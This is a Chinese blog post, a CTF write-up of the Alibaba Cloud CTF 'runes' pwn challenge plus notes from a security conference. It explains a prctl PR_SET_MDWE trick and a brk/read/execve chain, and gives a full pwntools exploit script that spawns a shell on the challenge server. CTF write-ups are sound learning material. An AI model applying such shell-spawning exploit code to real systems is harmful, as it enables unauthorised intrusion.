第三届阿里云CTF - runes

第三届阿里云CTF - runes

RocketDev

Show me your runes.

hint:

  • No intended vulnerability in the bzImage/kernel, please exploit the userspace chal binary.
  • As the challenge's name implies, you need to focus on the syscall aka rune in this challenge. Find a way to weaken the dark dragon's power once your character becomes strong enough.
  • All syscall numbers(系统调用号) used in the intended solution are under 200 and relatively well used.

本题由 hkbinharaniN 和我一起合作解决!

文件属性

属性
Arch amd64
RELRO Full
Canary on
NX on
PIE on
strip yes

解题思路

题目是运行在虚拟机中的,内存256M,内核版本6.6。

chal实现了一个小游戏,基础等级是1,可以执行任意syscall,并且可以控制前三个参数, 但是这3个参数必须小于等级*100。小游戏中可以升级,但是不可能超过7, 而指针对应的无符号数非常大,看到如果打败dark dragon可以升级到0x7ffffffffff, 然后就可以输入指针了。为了打败dark dragon,需要把它的血量打到1, 也就是需要让预期的mmap调用失败,如果成功,人物血量会直接归零。

mmap了什么

程序向memfd中写入了一串shellcode,并通过mmap包含fd来将其映射到rwx内存中,随后执行,反汇编后结果是:

1
2
3
mov    rax,rdi
sub QWORD PTR [rax],0x1337c0d3
ret

而输入的地址rdi是&hp,hp会直接降到0以下,并被随后的代码归零。

寻找符合条件的syscall,先筛掉所有包含指针的syscall,由于程序打开的 memfd 被dup到了1023,而等级不可能在正常情况下大于10,因此也无法关闭 memfd 。 如果使内存不足以分配0x1000大小的内存的话,也可以阻止mmap,但是256M实在难以企及, 就算fork,增加的内存也是沧海一粟。最后选择了prctl,在Linux 6.3加入了PR_SET_MDWE, 开启这个security bit 后可以禁止mmap一段?wx的内存,并且不会影响到execve后的新程序。 在因此设置后就能成功升级,实现任意syscall调用。

由于Arch Linux滚动更新的特性,我的内核保持最新,可以直接把chal拖出来在本地调试; 而一些使用Ubuntu的小伙伴,由于内核老,是没有这个特性的,在本地只能盲调。

剩下的问题是保护全开,没有泄露任何指针。可以通过brk调用申请堆内存, 在上面写数据。由于sh链接到了busybox,因此还需要设置argv。最后 execve(“/bin/sh", {“sh", NULL}, NULL) 拿shell。

官方wp中使用了shmget + shmat来申请一片内存。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from pwnlib.constants.linux.amd64 import __NR_prctl, __NR_alarm, __NR_brk, __NR_read, __NR_execve
context.terminal = ['tmux','splitw','-h']
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './chal'
SYS = constants

def payload(lo: int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh)
else:
sh = remote('121.41.238.106', 42898)

def init_name(name: str):
info('Waiting for vm to boot')
sh.sendlineafter(b'tell me your name', name.encode())
info(f'Script by {name}')

def attack_dragon(rax: int, rdi: int=0, rsi: int=0, rdx: int=0, tosend: bytes=None) -> int:
sh.sendlineafter(b'Your Journey Continues', b'2')
sh.sendlineafter(b'Invoke the Forbidden Runes', b'3')
sh.sendlineafter(b'60 3 3 3', f"{int(rax)} {int(rdi)} {int(rsi)} {int(rdx)}".encode())
if tosend:
sleep(0.125)
sh.send(tosend)
if rax == __NR_execve:
return
sh.recvuntil(b'force answers:')
sysret = int(sh.recvline())
sh.sendlineafter(b'Impossible', b'1')
return sysret

init_name('hkbin & Rocket & haraniN')
attack_dragon(__NR_prctl, 65, 1) # PR_SET_MDWE; PR_MDWE_REFUSE_EXEC_GAIN
attack_dragon(__NR_alarm, 0) # reset alarm timer
brk = attack_dragon(__NR_brk, 0) # initial brk
success(GOLD_TEXT(f"Get brk: {brk:#x}, try to extend 0x1000"))
brk_top = attack_dragon(__NR_brk, brk + 0x1000)
assert brk_top == brk + 0x1000, "failed to extend brk"
sent = attack_dragon(__NR_read, 0, brk, 16, b'/bin/sh\0' + p64(brk + 5) + b'\n') # "/bin/sh" "sh" NULL
assert sent == 16, "failed to send /bin/sh"
info('Now try to open the shell')
attack_dragon(__NR_execve, brk, brk + 8, 0) # execve("/bin/sh", {"sh", NULL}, NULL)

sh.clean()
sh.interactive()
sh.close()

flag

参考

  1. PR_SET_MDWE(2const) — Linux manual page
  2. 第三届阿里云CTF官方Writeup

阿里白帽大会

在阿里云CTF结束后,阿里邀请成绩好的队伍参加阿里白帽大会,由于我们队伍是联队, 就把包吃住的名额让给省外的同学了。不过又了解了一下,可以报名后自己去。 但是没得吃

在会前的晚上,还有一个安全沙龙,问了一下,我们杭电的可以直接过去。负责人大气地请我们喝奶茶, 虽然还是没得吃自助餐, 还带来了不少阿里的大佬,甚至有一个华为天才少年班的成员。 在会上交流了本次CTF办得如何,要不要整新的赛制,比如awd,speedrun之类的。然后还有自由提问环节, 我问“pwn方向想找实习需要怎么样的技术?”,阿里的大佬说对利用反而是次重要的, 最重要的是逆向功底 。还有人问到crypto如何找工作,阿里的人也直截了当的说,只会密码就不了业, 必须会开发之类的其他技能才行。

speedrun 赛制是指,两人登台做题,同时做一道简单题,做出来的人有分,做不出来没分, 感觉强度非常高。

在线下遇到了 Qanux, cnwangjiheVisionary 师傅!!

然后是第二天,正式的白帽大会,具体讲了啥不太记得了(逃),那会儿一直在写pwntools的patch。 还有抽奖环节, cnwangjihe 中了一个索尼的耳机,太有运气了。

场地上还有很多厂商的src站台,薅了不少小玩意。

  • 标题: 第三届阿里云CTF - runes
  • 作者: RocketDev
  • 创建于 : 2025-02-24 23:11:00
  • 更新于 : 2025-03-22 00:55:00
  • 链接: https://rocketma.dev/2025/02/24/runes/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
第三届阿里云CTF - runes